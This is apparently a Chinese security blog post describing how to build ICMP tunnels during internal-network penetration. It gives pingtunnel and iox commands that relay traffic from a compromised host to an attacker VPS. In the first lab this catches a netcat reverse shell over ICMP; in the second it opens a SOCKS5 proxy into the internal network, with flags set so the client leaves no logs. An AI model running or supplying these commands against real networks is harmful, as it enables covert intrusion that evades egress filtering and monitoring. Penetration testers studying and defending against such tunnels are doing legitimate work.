icmp 隧道代理搭建
VSole2022-08-07 20:17:09
简介
在内网渗透中,内网隧道的搭建是必不可少的。有条件的情况下,优先使用tcp隧道,比较稳定可靠。但是遇到只有icmp协议出网的时候,就需要利用别的思路了。
ICMP代理
两台机器之间,只允许icmp 协议通讯,其他的协议tcp/udp 不允许,那么可以考虑利用icmp 隧道进行穿透。
常见的icmp 工具有
icmpshPingTunnelicmptunnelpowershell icmp
在不同的场景中需要用到不同的工具来进行穿透。
实验1 利用icmp协议反弹shell:
单向主机出网,使用icmp 反弹shell
使用工具:
pingtunnel(https://github.com/esrrhs/pingtunnel)
拓扑环境图下,Attack 为公网vps,攻击机,然后内网web 主机仅能ping通attack
首先在vps 执行
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
然后下载pingtunnel 作为Server 端,key代表了密钥
sudo ./pingtunnel -type server -key 457864
在被控主机Client执行
./pingtunnel -type client -l :4455 -s 47.x.x.x -t 47.x.x.x:8888 -tcp 1 -key 457864
以上意思就是客户端监听本地的4455 端口,指定服务端IP为47.x.x.x,然后将本地端口4455 的流量转发
到47.x.x.x的8888 端口。
在Server 使用nc 监听8888 端口
Client 执行反弹shell的命令,反弹到本地的4455 端口
此时Server 获取到nc的shell
可以看到此时的流量均为icmp
实验2 使用 iox + pingtunnel 搭建隧道
首先在服务端运行一下命令
./pingtunnel -type server -key 457864 //开启pingtunnel 服务端./iox proxy -l 8898 -l 1080 //开启iox,将8898 收到的请求转发到1080 端口
在Client执行以下命令,注意需要增加noprint 和nolog命令,避免在客户端产生大量的日志信息
./pingtunnel -type client -l 127.0.0.1:9999 -s 47.x.x.x -t 47.x.x.x:8898 -sock5 -1 -noprint 1 -nolog 1 -key 457864./iox proxy -r 127.0.0.1:9999 //将代理流量转发到9999
然后再本地配置代理 socks5://47.x.x.x:1080 然后就可以访问内网的IP

VSole
网络安全专家